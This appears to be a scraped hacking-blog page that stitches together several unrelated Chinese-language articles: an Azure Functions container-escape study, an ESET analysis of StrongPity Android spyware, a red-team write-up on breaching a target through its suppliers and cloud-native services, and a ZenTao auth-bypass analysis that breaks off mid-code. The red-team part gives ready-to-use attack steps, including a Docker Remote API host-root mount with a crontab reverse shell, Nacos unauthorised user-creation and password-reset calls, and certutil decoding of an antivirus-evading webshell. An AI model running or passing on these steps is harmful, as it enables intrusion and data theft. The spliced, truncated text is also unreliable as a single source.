Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112538

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Unit 42研究人員調查了Azure的無服務器架構,發現他們能夠破壞底層主機的無服務器函數。研究人員還發現,他們的主機實際上是一個HyperV虛擬機,它託管了其他幾個無服務器函數。 Hyper-V是微軟的一款虛擬化產品,是微軟第一個採用類似Vmware ESXi和Citrix Xen的基於hypervisor的技術。

Azure serverless functions(通常稱為Azure Functions)是一種無服務器解決方案,可以使用戶減少代碼編寫、減少需要維護的基礎結構並節省成本。無需擔心部署和維護服務器,雲基礎結構提供保持應用程序運行所需的所有最新資源。你可以專注於使用你認為最高效的語言編寫最重要的代碼,而Azure Functions 處理其餘代碼。作為一個基於觸發器的服務,它運行代碼以響應各種事件。在本文中,這個事件是一個網頁請求。

研究人員發現,對於每個函數,主機都會生成一個新的容器。每個容器將在幾分鐘後終止並刪除,以將無服務器函數與傳統的容器即服務區分開來。

問題主機只託管研究的Azure用戶有權訪問的函數,因此不會造成真正的攻擊。很明顯,微軟竭盡全力阻止人們訪問主機,因此可能還有其他問題尚未被發現。虛擬機上可能有不應該顯示的重要信息,這些信息可能會被動機充分的攻擊者發現。

微軟經常使用容器來加強安全性,但由於容器本質上不如虛擬機那樣安全,因此通常不會將其視為安全邊界。在本文的示例中,他們實現了額外的安全層,這被證明是有效的。

Prisma的無服務器解決方案為大多數雲提供商提供了函數發現和漏洞掃描功能。這些功能會作用於無服務器函數上,並在發現這些函數中存在已知漏洞時提醒你。

什麼是無服務器函數無服務器函數是無服務器計算(通常簡稱為“無服務器”)的一個特點,雲提供商按需為其客戶提供所有計算資源,並管理所有架構,包括雲基礎設施。

無服務器理想應用程序的一個很好的例子是聊天機器人。例如,Slack使用名為marbot的無服務器應用程序通過Slack向DevOps團隊發送通知。

“serverless”這個名字有點誤導人。不管它的名字意味著什麼,無服務器計算仍然需要物理服務器來執行代碼。與傳統計算的主要區別在於,無服務器抽象了與代碼本身無關的任何東西,從代碼運行的操作系統到實際運行代碼的設備硬件。

無服務器函數的內部結構你可能會問自己的第一個問題是如何開始研究無服務器平台。任何使用過Azure Serverless Functions的人都知道,可研究的地方不是很多。你可以上傳一些代碼或更改一些設置,如下圖所示,但僅此而已。

2.png

通過Azure函數提供的所有不同運行時

研究人員決定從一個HTTP請求觸發的Linux上的Python函數開始研究,對於某些運行時,Windows也可用。

下一步是在函數中獲得一個有效的交互式shell,以更好地理解研究人員正在處理的內容,並獲得有關運行代碼的設備的一些信息。為了便於使用,研究人員決定使用逆向shell。研究人員還決定使用數據傳輸工具socat而不是netcat,因為它支持更廣泛的協議。

3.png

研究人員使用的socat二進製文件

研究人員只是將socat二進製文件放在Visual Studio代碼中的項目目錄中,並將整個文件部署到研究人員之前創建的無服務器函數中。實際啟動逆向shell的代碼非常簡單,因為整個邏輯都在socat應用程序中,如下圖所示。

4.png

連接到逆向shell偵聽器的簡單函數代碼

執行逆向shell後,研究人員進入了一個名為app的用戶下的函數目錄。研究人員使用

cat/proc/1/cgroup_last_cap命令,以SandboxHost開頭的設備主機名也暗示了這一點。

5.png

無服務器函數內部的shell

在研究人員登錄的工作目錄中沒有太有趣的東西。這個目錄包括他們上傳的所有文件,外加一個額外的lib文件夾,其中包含Python與Azure通信所需的庫。

容器這項研究一開始並沒有明確的目標,只是為了改善Prisma的無服務器保護。然而,在了解了更多關於架構的知識後,研究人員渴望探索一下容器。

在熟悉了容器及其文件以及用戶權限等之後,研究人員決定檢查環境變量,因為它們通常包含一些有趣的信息。這一次沒有什麼不同。在其他有趣的事情中,研究人員注意到環境變量洩露了映像名稱。

6.png

環境變量中的映像名稱

在網上搜索這個映像名稱,研究人員找到了一個顯示映像名稱的微軟官方目錄,該目錄指向一個提供所有Microsoft映像(包括我們正在查看的映像)的官方存儲庫。

研究人員的第一個方法是獲取映像“源代碼”(如果你使用Docker,則為Dockerfile)。經過一番搜索,研究人員發現有一個叫做Whaler的實用工具,它可以將Docker映像逆向工程到創建它們的Dockerfile中。該過程如下所示。

7.png

使用Whaler對微軟映像進行逆向工程

Whaler有大量的映像,從而產生一個易於使用的單行命令。使用這個方法,研究人員成功地生成了一個足夠好的Dockerfile版本,如下圖所示。文件中最有趣的部分是最後一行。

8.png

逆向之後的Dockerfile版本

網格文件夾似乎包含一些有趣的文件,特別是launch.sh腳本,它似乎是容器內執行的第一件事。此時,研究人員只需從映像內部複製整個網格文件夾,以進一步研究它。

還有一些腳本在不同的場景中調用了一些其他腳本,該文件夾中有趣的部分是一個名為init的二進製文件,它在每個Azure無服務器容器的後台運行。對研究人員來說幸運的是,這個二進製文件也包含了符號,所以逆向工程很容易。

在研究了函數和字符串列表之後,有一個函數特別有趣:init_server_pkg_mount_BindMount。在對其進行逆向工程之後,研究人員發現該函數將容器內的一條路徑綁定到另一條路徑,該路徑也位於容器內。此函數也不要求用戶具有特權,但它在root上下文中運行!要將一個文件綁定到任何其他文件,你所需要做的就是在容器中使用正確的參數在正確的端口上執行HTTP查詢。

9.png

init_server_pkg_mount_BindMount函數簽名

10.png

init_server_pkg_mount_BindMount函數解析來自HTTP請求的sourcePath和targetPath

在這部分調查的過程中,研究人員還發現了許多關於Azure無服務器架構如何在幕後工作的信息。雖然這超出了本文的範圍,但可以在本文中深入探討這一問題。

升級權限簡而言之,雖然在一個沒有特權的用戶的容器中研究,但研究人員能夠將任何一個文件作為根文件綁定到任何其他文件。此時,研究人員的目標是在容器內將特權升級到根權限。可能有幾種方法可以實現這一點,但研究人員選擇用生成的文件替換/etc/shadow文件,然後將用戶更改為root。

11.png

使用OpenSSL生成/etc/shadow

為了實現這一點,研究人員執行了以下步驟:

為root用戶生成一個密碼已知的/etc/shadow文件;

將該文件上傳到Function容器的本地目錄;

使用正在運行的init服務和BindMount函數通過查詢http://localhost:6060將本地陰影文件綁定到實際的/etc/shadow文件;

使用su-root命令將用戶更改為root。

12.png

不斷升級權限

利用root權限規避容器可以利用新獲得的根訪問來規避容器,通過研究,研究人員選擇了菲利克斯马云惹不起马云威廉姆(Felix Wilhelm)多年前發現的一個舊漏洞。

不過要使用此漏洞也不是一件簡單的事情,要使其正常工作,需要滿足以下幾個要求:

研究人員必須在容器內以root身份運行;

容器需要具有SYS_ADMIN函數;

容器要么沒有AppArmor配置文件,要么允許掛載系統調用;

cgroup v1虛擬文件系統必須在容器內以讀寫方式安裝;

研究人員已經在早些時候實現了第一個需求。令人驚訝的是,其餘的需求在我們的容器中也可用。這是令人驚訝的,因為在默認情況下,容器啟動時具有一組受限的函數,並且沒有啟用SYS_ADMIN函數。此外,Docker通常在默認情況下使用AppArmor策略啟動容器,這防止了在容器使用SYS_ADMIN運行時使用mount sycall。通過在/proc/PID/status下的shell狀態文件上運行capsh命令,研究人員確認了所有必要的函數,如下圖所示。

14.png

使用capsh和一些sed腳本來打印特權用戶函數

關於此漏洞的詳細解釋已超出了本文範圍,我們建議閱讀'Digging into cgroups Escape' 以更好地理解此技術。簡而言之,研究人員將通過以下步驟描述該漏洞:

查找或創建對cgroup控制器的訪問權限(大多數版本的漏洞利用使用RDMA);

在該控制器中創建一個新的cgroup;

將該cgroup的notify_on_release設置為1;

將發布代理設置為容器和主機都可以訪問的文件;

在該cgroup中啟動一個快速完成流程,該流程將在終止時觸發發布代理的執行。

研究人員決定通過運行ps aux並將其與容器的ps aux進行比較來演示實現主機執行上下文。在本節開頭的視頻中,你可以看到漏洞的整個利用過程。需要注意的是,託管容器的設備是HyperV虛擬機,而不是物理服務器。

總結不管怎樣,Azure的用戶都可以訪問虛擬機託管的所有資源,因此,這種防禦沒有什麼意義。這是雲提供商緩解措施按預期工作的一個示例。在本文的示例中,他們選擇不依賴容器作為安全邊界,並實現另一種保護,這被證明是一個聰明的舉動。

但是,如果在虛擬機本身中發現另一個漏洞,這個漏洞可能會產生巨大的影響。此外,微軟在過去已經修復了類似的問題,即使他們本身沒有將其稱為漏洞。

虛擬機可能包含對無服務器函數用戶或可能的攻擊者不可見的重要信息或秘密。在與微軟分享該調查結果後,他們考慮了以下防禦措施,以更好地保護客戶:

對綁定裝載API進行額外驗證,以防止裝載過度;

盡可能從二進製文件中刪除符號。

ESET的研究人員最近發現了一個活躍的StrongPity活動,該活動會偽裝成Shagle應用程序來傳播木馬化的Android Telegram應用程序。 ESET研究人員認為其幕後組織是StrongPity APT組織。 Shagle是一種隨機視頻聊天服務,提供陌生人之間的加密通信。該活動自2021年11月起活躍,與完全基於網絡的真正Shagle網站不同,該網站不提供官方移動應用程序來訪問其服務,只提供Android應用程序供下載,這也就意味著用戶不可能進行基於網絡的流媒體傳輸。

被下載的惡意應用程序是一個功能齊全但被木馬化的合法Telegram應用程序,然而,其最終卻以Shagle應用程序的形式呈現。我們其稱為假冒Shagle應用程序、木馬化的Telegram應用程序或StrongPity後門。 ESET研究人員將其命名為Android/StrongPity.A。

StrongPity後門具有各種間諜功能:它的11個動態觸發模塊負責記錄電話、收集短信、通話記錄列表、聯繫人列表等。這些模塊均是首次被發現。如果受害者授予惡意StrongPity應用程序可訪問性服務,它的一個模塊也可以訪問傳入的通知,並能夠從Viber、Skype、Gmail、Messenger和Tinder等17個應用程序中竊取通信。

目前,此次攻擊還沒有特定的受害者。不過在研究過程中,從虛假網站下載的惡意軟件不再活躍,也不再可能成功安裝它並觸發其後門功能,因為StrongPity還沒有為其木馬Telegram應用程序獲得自己的API ID。但如果攻擊者決定更新惡意應用程序,這種情況可能會隨時改變。

技術分析這場StrongPity活動圍繞著一個Android後門展開,該後門來自一個包含“dutch”字樣的域名。該網站模仿了shagle.com上名為Shagle的合法服務。在下圖中,你可以看到兩個網站的主頁。該惡意應用程序可直接從虛假網站下載,Google Play store中還未出現該惡意程序。這是合法Telegram應用程序的木馬化版本,看起來就像Shagle官方應用程序一樣。注意,目前還沒有Shagle的官方Android應用程序。

1.jpg

左邊為合法網站,右邊為虛假網站

如下圖所示,虛假網站的HTML代碼包含了2021 11月1日使用自動工具HTTrack從合法的shagle.com網站複製的證據。惡意域名是在同一天註冊的,所以從那天起,虛假網站和假冒Shagle應用程序就可以下載了。

2.png

在虛假網站的HTML代碼中發現的由HTTrack工俱生成的日誌記錄

受害目標2022年7月18日,當一個惡意應用程序和一個模仿shagle.com的網站鏈接被上傳時,研究人員在VirusTotal的YARA規則被觸發。與此同時,研究人員在Twitter上收到了關於該樣本的通知,儘管它被錯誤地歸因於Bahamut,但仍然沒有識別出任何受害者。

幕後組織虛假Shagle網站發布的APK使用與趨勢科技在2021年發現的木馬化敘利亞電子政務應用程序相同的代碼簽名證書進行簽名,該應用程序的幕後組織就是StrongPity。

3.png

該證書籤名了假冒的Shagle應用和木馬化的敘利亞電子政務應用

StrongPity早在之前的活動中就使用了假冒Shagle應用程序中的惡意代碼,並實現了一個簡單但功能強大的後門。這個代碼只在StrongPity開展的活動中使用過。在下圖中,你可以看到一些添加的惡意類,其中許多經過模糊處理的名稱在兩個活動的代碼中甚至是相同的。

4.jpg

木馬化的敘利亞電子政務應用程序(左)和木馬化的Telegram應用程序(右)的類名比較

將此次活動的後門代碼與木馬化的敘利亞電子政務應用程序的後門代碼(SHA-1: 5A5910C2C9180382FCF7A939E9909044F0E8918B)進行比較,它具有擴展的功能,但使用相同的代碼來提供類似的功能。在下圖中,你可以比較兩個示例中負責在組件之間發送消息的代碼。這些消息會觸發後門的惡意行為,因此,研究人員堅信假冒Shagle應用程序與StrongPity組織有關。

5.png

負責在木馬化的敘利亞電子政務應用程序中觸發惡意功能的消息

6.png

負責在假冒Shagle應用程序中觸發惡意功能的消息

初始訪問如上所述,假冒的Shagle應用程序被託管在虛假Shagle網站上,受害者必須選擇從該網站下載並安裝該應用程序。由於目前還無法從Google Play下載該惡意軟件,研究人員不知道潛在的受害者是如何被誘導到虛假網站下載惡意軟件的。

工具集根據虛假網站上的描述,這款應用是免費的,旨在用於與新朋友見面和聊天。然而,下載的應用程序卻是一個被惡意修復的Telegram應用程序,早在2022年2月25日左右就可下載。

這個木馬化的Telegram使用了與合法Telegram應用相同的程序包名。包名應該是每個Android應用的唯一ID,並且在任何給定設備上都必須是唯一的。這意味著,如果潛在受害者的設備上已經安裝了官方Telegram應用程序,那麼這個後門版本就無法安裝,如下圖所示。這可能意味著兩種情況:攻擊者要么首先與潛在受害者溝通,誘導他們在安裝了Telegram的設備上卸載Telegram,要么該活動將重點放在很少使用Telegram進行通信的國家。

7.jpg

如果設備上已經安裝了Telegram官方應用,則無法成功安裝木馬版本

StrongPity的木馬化Telegram應用程序應該可以像官方版本一樣使用標準的API進行通信,理論上來講,這些API在Telegram網站上有很好的記錄,但由於這個應用程序已經不能工作了,所以我們無法再檢查。

在研究過程中,從虛假網站上獲得的當前版本的惡意軟件不再活躍,也不再可能成功安裝並觸發其後門功能。當研究人員嘗試使用他們的電話號碼註冊時,重新打包的Telegram應用程序無法從服務器獲取API ID,因此無法正常工作。如下圖所示,應用程序顯示API_ID_PUBLISHED_FLOOD錯誤。

8.png

使用電話號碼註冊時顯示錯誤

根據Telegram的錯誤文檔,StrongPity似乎沒有獲得自己的API ID。相反,它使用了Telegram開源代碼中包含的API ID樣本來進行初始測試。 Telegram監控API ID的使用並限制示例API ID,因此在發布的應用程序中使用它會導致如上圖所示的錯誤。由於該錯誤,用戶無法再註冊和使用該應用程序或觸發其惡意功能。這可能意味著StrongPity的運營商沒有考慮到這一點,或者可能在傳播應用程序時有足夠的時間來監視受害者使用的Telegram ID。由於該網站從未提供過該應用程序的新版本,這可能表明StrongPity成功地將惡意軟件部署到了其預期目標。

所以,在進行研究時,虛假網站上的假冒Shagle應用程序已不再活躍。然而,如果攻擊者決定更新惡意應用程序,這個情況可能會隨時改變。

StrongPity後門代碼的組件和所需的權限附加到Telegram應用程序的AndroidManifest.xml文件中。如下圖所示,這可以很容易地看出惡意軟件需要哪些權限。

9.png

AndroidManifest.xml突出顯示了StrongPity後門的組件和權限

從Android清單中,我們可以看到惡意類被添加到org.telegram.messenger包中,作為原始應用程序的一部分出現。

初始惡意功能是由設置好的操作(BOOT_COMPLETED、BATTERY_LOW或USER_PRESENT)後執行的三個廣播接收器之一觸發的。首次啟動之後,它會動態註冊其他廣播接收器來監視SCREEN_ON、SCREEN_OFF和CONNECTIVITY_CHANGE事件。然後,假冒Shagle應用程序使用IPC(進程間通信)在其組件之間進行通信,以觸發各種操作。它使用HTTPS與CC服務器聯繫,發送有關受攻擊設備的基本信息,並接收包含11個二進制模塊的AES加密文件,該文件將由父應用程序動態執行。如下圖所示,這些模塊存儲在應用程序的內部存儲/data/user/0/org.telegram.messenger/files/.li/中。

10.png

StrongPity後門接收包含可執行模塊的加密文件

11.png

從服務器接收的模塊存儲在StrongPity後門的內部存儲中

每個模塊負責不同的功能。模塊名列表存儲在sharedconfig.xml文件的本地共享首選項中,如下圖所示。

必要時,模塊由父應用程序動態觸發。每個模塊都有自己的模塊名稱,並負責不同的功能,例如:

libarm.jar(cm module)——記錄通話;

libmpeg4.jar(nt module)——收集來自17個應用程序的傳入通知消息的文本;

local.jar(fm/fp module)——收集設備上的文件列表(文件樹);

phone.jar(ms module)——通過竊取聯繫人姓名、聊天信息和日期,濫用可訪問性服務來監視消息應用程序;

resources.jar(sm module)——收集存儲在設備上的短信;

services.jar(lo module)——獲取設備位置;

systemui.jar(sy module)——收集設備和系統信息;

timer.jar(ia module)——收集已安裝應用程序的列表;

toolkit.jar(cn module)——收集聯繫人列表;

watchkit.jar(ac module)——收集設備帳戶列表;

wearkit.jar(cl module)——收集調用日誌列表;

12.png

StrongPity後門使用的模塊列表

所有獲得的數據都存儲在clear-in/data/user/0/org.telegram.messenger/databases/outdata中,然後使用AES加密並發送到CC服務器,如下圖所示。

13.png

加密的用戶數據被洩露到CC服務器

與第一個手機版StrongPity相比,這個StrongPity後門擴展了監視功能。它可以請求受害者激活可訪問性服務並獲得通知訪問權。如果受害者啟用了它們,惡意軟件將監視傳入的通知,並濫用可訪問性服務,從其他應用程序中竊取聊天記錄。

14.png

針對受害者的惡意軟件請求、通知訪問和可訪問性服務

通過通知訪問,惡意軟件可以讀取來自17個目標應用程序的通知消息。以下是他們的軟件包名稱列表:

Messenger (com.facebook.orca)

Messenger Lite (com.facebook.mlite)

Viber – Safe Chats And Calls (com.viber.voip)

Skype (com.skype.raider)

LINE: Calls Messages (jp.naver.line.android)

Kik — Messaging Chat App (kik.android)

tango-live stream video chat (com.sgiggle.production)

Hangouts (com.google.android.talk)

Telegram (org.telegram.messenger)

WeChat (com.tencent.mm)

Snapchat (com.snapchat.android)

Tinder (com.tinder)

Hike News Content (com.bsb.hike)

Instagram (com.instagram.android)

Twitter (com.twitter.android)

Gmail (com.google.android.gm)

imo-International Calls Chat (com.imo.android.imoim)

如果設備已處於根目錄,則惡意軟件會默默地嘗試授予WRITE_SETTINGS, WRITE_SECURE_SETTINGS, REBOOT, MOUNT_FORMAT_FILESYSTEMS, MODIFY_PHONE_STATE, PACKAGE_USAGE_STATS, READ_PRIVILEGED_PHONE_STATE權限,以啟用可訪問性服務,並授予通知訪問權限。之後,StrongPity後門嘗試禁用SecurityLogAgent應用程序(com.samsung.android.securitylogagent),這是一個官方系統應用程序,有助於保護三星設備的安全,並禁用來自惡意軟件本身的所有應用程序通知,這些應用程序通知可能在未來顯示給受害者,以防應用程序錯誤,崩潰或警告。 StrongPity後門本身並不嘗試對設備進行根操作。

AES算法使用CBC模式和硬編碼密鑰來解密下載的模塊:

AES key–aaaanothingimpossiblebbb

AES IV–aaaanothingimpos

總結攻擊者重新利用了官方Telegram應用程序,在其中加入了後門代碼。本次活動中的惡意代碼、功能、類名以及用於簽署APK文件的證書與之前StrongPity組織發起的活動相同,有鑑於此,本次攻擊活動背後的組織是StrongPity組織。

在我們進行研究時,由於API_ID_PUBLISHED_FLOOD錯誤,在虛假網站上可用的示例被禁用,這導致惡意代碼沒有被觸發,潛在的受害者可能會從目標設備中刪除異常應用程序。

通過分析代碼可知,後門是模塊化的,額外的二進制模塊是從CC服務器下載的。這意味著模塊的數量和類型可以在任何時候改變,以適應由StrongPity組織發起的活動。

根據我們的分析,這似乎是StrongPity組織開發的第二個針對安卓惡意軟件的程序,與第一個版本相比,它還濫用了可訪問性服務和通知訪問,將收集的數據存儲在本地數據庫中,嘗試執行su命令,並且對於大多數數據收集使用下載的模塊。

 

1、供应链

在经历了多年的攻防对抗之后,大量目标单位逐渐认识到安全防护的重要性。因此,他们已采取措施尽可能收敛资产暴露面,并加倍部署各种安全设备。但安全防护注重全面性,具有明显的短板效应,一处出现短板,整个防护体系就可能瞬间崩溃。而目标单位的供应链往往是这些薄弱点的集中体现。这些供应链不仅暴露在外,而且由于复杂的关系,使得对它们的监控和管理变得更为困难。因此,攻击团队通常会选择从供应链着手,以一种迂回的方式绕过目标单位强大的防御体系,获得对目标单位的控制权限。

通过在搜索引擎上搜索"系统名称"目标单位

image.png
找到相关的供应商信息,通过对供应商进行攻击,获取目标单位的数据及权限。!

image.png

1.1、heapdump泄露

通过对供应商资产进行渗透,发现某资产admin目录下存在heapdump文件泄露

image.png

对于heapdump的利用方式这里就不太赘述,有许多文章对其原理和利用都进行了深入的研究,特定情况下还可以直接进行RCE,这里泄露了大量敏感信息,密码信息加入密码本

image.png

登录MinIO,发现大量所属目标单位的敏感信息,也存在其它单位的敏感信息

image.png

登录Nacos,大量配置文件,密码信息加入密码本![]

image.png
登录OSS,发现大量所属目标单位的敏感信息

image.png

1.2、微信小程序接口未授权

1.2.1、微信小程序解包

想要对微信小程序进行解包操作,首先是要获取目标小程序的wxapkg文件。wxapkg文件是微信小程序的安装包文件格式,用于将小程序的代码、资源以及其他必要的文件打包成一个单独的文件。但是Windows环境下的wxapkg文件中的js代码和资源文件一般是被加密的,需要使用专门设计的解密工具先进行解密,再进行解包操作,获取文件内容。iOS和Android平台下可直接进行解包操作。

1.2.1.1、获取wxapkg文件

在获取wxapkg文件时,最好将文件夹中的文件先删除,然后再重新打开小程序,防止其它文件干扰

iOS wxapkg 文件存放路径为:

/var/mobile/Containers/Data/Application/{系统UUID}/Library/WechatPrivate/{user哈希值}/WeApp/LocalCache/release/{小程序的AppID}

Android wxapkg 文件存放路径为:

/data/data/com.tencent.mm/MicroMsg/{user哈希值}/appbrand/pkg/

Windows wxapkg 文件存放路径为:

C:\Users\{系统用户名}\Documents\WeChat Files\Applet\{小程序的AppID}\

image.png

1.2.1.2、解密操作

下面两个github项目都可以进行解密操作

https://github.com/superdashu/pc_wxapkg_decrypt_python
https://github.com/BlackTrace/pc_wxapkg_decrypt

解密原理

image.png
成功解密

image.png

1.2.1.2、解包操作

国光大佬提供的工具下载链接

https://sqlsec.lanzoub.com/i1NEP0mx694f

node wuWxapkg.js 1.wxapkg

image.png

对小程序进行解包操作,获取到前端JS代码后中,从中进行提取获得接口

image.png

直接访问目标接口,前端页面虽然显示初始化失败

image.png
但流量包中已获取数据,近千万条目标单位敏感信息

image.png

1.3、web程序越权

通过上述收集到的密码,撞密码撞出一个账号,但是此账号为最低权限,无任何操作权限,点击搜索组织架构,此时无任何返回信息
image.png

抓包将parentId和orgLevel去除,再发包,即可越权看到全员组织架构

image.png

点击修改密码,然后将上述获取到的roleId添加进去,即可获取全部权限

image.png

获取到大量数据

image.png

1.4、公众号

js泄露密码,密码可撞库目标单位公众号

image.png

2、云原生安全

容器化部署和微服务架构为应用程序开发和部署提供了更好的灵活性、可伸缩性、可维护性和性能,受到了越来越多厂商的使用,新的应用就会引入新的攻击面,如容器逃逸、服务间攻击、API滥用等。攻击者可以利用这些新的入口点来攻击应用程序和数据。并且在云原生环境下管理用户和服务的身份验证和授权变得更加复杂。许多应用开发商在追求容器化和云原生架构的便利性和效率时,安全性常常被忽视或放在次要位置。这就直接导致了云原生环境的脆弱,容易受到各种安全威胁和攻击。

2.1、Harbor 镜像仓库

Harbor是一个开源的容器镜像仓库管理器,旨在帮助组织存储、管理和分发Docker容器镜像,但是Harbor存在一个充满争议的“漏洞”:任意用户能够直接获取public的镜像。

image.png

可以直接拉取下载镜像文件,可以利用脚本批量下载

image.png

2.2、疑似后门

通过镜像文件获取jar包,获取配置文件等敏感信息,对jar包的class文件进行反编译,进行代码审计获取到一个类似后门的漏洞,该接口只需要使用用户名,即可登录系统后台。管理员权限配合文件上传获取服务器权限。

image.png

通过配置文件连接数据库等

image.png

2.3、docker未授权

2.3.1、 registry api未授权访问

在 Docker Registry API 中,认证和授权通常是基于访问令牌(Access Token)或者用户名和密码的。如果未正确设置访问控制权限,即会造成未授权访问漏洞,攻击者可直接下载registry仓库的所有镜像容器。

访问/v2/_catalog接口即可查看全部仓库内容

image.png
https://github.com/Soufaker/docker_v2_catalog

利用上述工具可直接下载镜像

2.3.2、 Docker Remote API未授权访问

为了管理容器集群,Docker允许Daemon作为后台守护进程执行通过管理接口发送的Docker命令,使用参数-H 0.0.0.0:2375启动Docker Daemon时,将开放2375端口接收来自远程Docker客户端的命令。在这种情况下,2375端口被作为非加密端口暴露出来,并且不存在任何形式的身份验证,攻击者可以直接使用Docker命令连接到Docker Daemon,并对容器进行直接操作,配合根目录挂载即可实现容器逃逸。

#查看容器
docker -H tcp://<target>:2375 ps -a

image.png

#挂载宿主机的根目录到容器内的mnt目录
docker -H tcp://<target>:2375 run -it -v /:/mnt nginx:latest /bin/bash
#反弹shell
echo '反弹shell命令' >> /mnt/var/spool/cron/crontabs/root

2.4、Nacos

Nacos是一个开源的动态服务发现、配置管理和服务管理平台,它提供了注册中心、配置中心和服务管理等功能,帮助开发人员实现微服务架构中的服务注册、配置管理以及服务发现等需求。

作为一个开源工具,漏洞还是被披露不少的,

未授权访问:/nacos/v1/auth/users?pageNo=1&pageSize=1 直接查看用户

任意用户添加:POST /nacos/v1/auth/users username= & password=

任意用户密码修改:curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken\=' -H 'User-Agent:Nacos-Server' -d 'username\=test1&newPassword\=test2'

弱口令:nacos/nacos

image.png

通过编排密码爆破进后台,发现大量配置文件,但敏感信息均被加密

image.png

2.4.1、Jasypt加密

Spring 的配置文件中会有一些敏感信息,如数据库密码,因此有时我们希望将敏感信息加密,Jasypt 就是其中比较方便的工具,Jasypt 是一个 Java 库,用于简化敏感数据(如密码、API 密钥等)的加密和解密操作。

加密的内容需要用 ENC(..) 括起来,加密用的密码通过 jasypt.encryptor.password 指定。

spring:
  datasource:
    username: your-username
    password: ENC(encrypted-password)

因为必须要解密,密码就需要放在配置文件里,或者放在代码中:

# application.yml

jasypt:
  encryption:
    password: 密码
    algorithm: 加密方式

解密数据:使用解密器的 decrypt 方法对加密的数据进行解密操作。

import org.jasypt.util.text.BasicTextEncryptor;

public class DecryptionExample {
    public static void main(String[] args) {
        String encryptionKey = "yourEncryptionKey"; // 加密密钥
        BasicTextEncryptor textEncryptor = new BasicTextEncryptor();
        textEncryptor.setPassword(encryptionKey);

        String encryptedText = "encryptedText"; // 加密后的数据
        String decryptedText = textEncryptor.decrypt(encryptedText);

        System.out.println("Decrypted Text: " + decryptedText);
    }
}

但是客户端加密的安全性主要依赖于客户端代码的保护和可信任性,当密码泄露后,加密也就自然失效了,在ncaos一个文件中发现jasypt加密密码,可以直接进行解密操作

image.png
成功连接OSS

image.png

成功连接数据库

image.png

小程序token,接管小程序

image.png

达梦数据库是国产化的关系型数据库,使用下面工具可以进行连接

https://github.com/864381832/x-RdbmsSyncTool/releases/tag/v0.0.3

3、Nday

3.1、yongyouNC jsInvoke rce漏洞

漏洞利用方法,通过Java反射机制创建一个javax.naming.InitialContext对象,并使用LDAP协议连接到指定的IP地址和端口,然后调用"nc.itf.iufo.IBaseSPService"服务中的"saveXStreamConfig"方法,接受对象和字符串作为参数,达到命令执行的效果。

命令执行成功,但是目标系统存在杀软,无法直接上传文件

image.png

3.1.1、certutil

certutil 是 Windows 操作系统中的一个命令行工具,主要用于处理证书和加密相关的操作,利用 certutil的解密操作可以绕过杀软。

echo bash64编码后的免杀马 > myfile.jsp

image.png

使用certutil进行解码

certutil -decode 木马相对路径 解码后的木马相对路径

image.png

冰蝎上线并上线CS

image.png

3.2、若依二开

shiro的洞修复了,找到一个前台信息泄露漏洞

image.png

通过获取到的用户名,使用弱口令进入后台,普通权限

image.png

再次对公告发布人员猜解密码,成功登录后台,多了系统管理权限,直接添加用户赋予最高权限

image.png

新增用户登录,发现定时任务功能,直接使用定时任务执行命令

image.png

3.3、shiro

目标路径在被访问时,会先跳转到统一认证登录,导致大部分都忽视了该路径是存在shiro反序列化漏洞的

image.png

本着试一试的心态进行了shiro的扫描,默认密钥,直接获取权限

image.png

  转自于原文链接: https://forum.butian.net/share/2442

 

漏洞概述禪道是第一款國產的開源項目管理軟件,也是國內最流行的項目管理軟件。該系統在2023年初被爆出在野命令執行漏洞,官方已於2023年1月12日發布了漏洞修復補丁。該漏洞是由於禪道項目管理系統權限認證存在缺陷導致,攻擊者可利用該漏洞在未授權的情況下,通過權限繞過在服務器執行任意命令。

本文以安全研究為目的,分享對該漏洞的研究和復現過程,僅供學習和參考。由於傳播、利用此文檔提供的信息而造成任何直接或間接的後果及損害,均由使用者本人負責,文章作者不為此承擔任何責任。

影響範圍

禪道系統

影響版本

開源版

17.4以下的未知版本=version=18.0.beta1

旗艦版

3.4以下的未知版本=version=4.0.beta1

企業版

7.4以下的未知版本=version=8.0.beta1 8.0.beta2

復現環境

操作系統:macOS13.1

運行環境:nginx1.5 php7.4 mysql5.7

軟件版本:zentaopms-zentaopms_18.0.beta1

權限繞過-漏洞分析權限繞過的關鍵點在module/common/model.php文件中checkPriv函數,此函數是檢查權限的函數,驗證當前登陸用戶是否有訪問module與method的權限。分析代碼後得知在沒有訪問權限時會拋出異常,但是代碼中並沒有終止程序,只是輸出權限不足的內容。具體代碼如下:

public function checkPriv(){ try { $module=$this-app-getModuleName(); $method=$this-app-getMethodName(); if($this-app-isFlow) { $module=$this-app-rawModule; $method=$this-app-rawMethod; }

$beforeValidMethods=array( 'user'=array('deny', 'logout'), 'my'=array('changepassword'), 'message'=array('ajaxgetmessage'), ); if(!empty($this-app-user-modifyPassword) and (!isset($beforeValidMethods[$module]) or !in_array($method, $beforeValidMethods[$module]))) return print(js:locate(helper:createLink('my', 'changepassword'))); if($this-isOpenMethod($module, $method)) return true; if(!$this-loadModel('user')-isLogon() and $this-server-php_auth_user) $this-user-identifyByPhpAuth(); if(!$this-loadModel('user')-isLogon() and $this-cookie-za) $this-user-identifyByCookie();

if(isset($this-app-user)) { if(in_array($module, $this-config-programPriv-waterfall) and $this-app-tab=='project' and $method !='browse') return true;

$this-app-user=$this-session-user; if(!commonModel:hasPriv($module, $method)) { if($module=='story' and !empty($this-app-params['storyType']) and strpos(',story,requirement,', ',{$this-app-params['storyType']},') !==false) $module=$this-app-params['storyType']; $this-deny($module, $method); } } else { $uri=$this-app-getURI(true); if($module=='message' and $method=='ajaxgetmessage') { $uri=helper:createLink('my'); } elseif(helper:isAjaxRequest()) { die(json_encode(array('result'=false, 'message'=$this-lang-error-loginTimeout))); //Fix bug #14478. }

$referer=helper:safe64Encode($uri); die(js:locate(helper:createLink('user', 'login', 'referer=$referer'))); } } catch(EndResponseException $endResponseException) { echo $endResponseException-getContent(); } }

其中commonModel:hasPriv()函數是內置公共的驗證權限,代碼中可以看出無權限訪問就會執行deny 方法,而deny 最後驗證的結果是無權限則執行helper:end(),該方法是直接拋出異常,就會進入上面的trycache邏輯。

publicstaticfunctionend($content='')

{

throwEndResponseException:create($content);

}

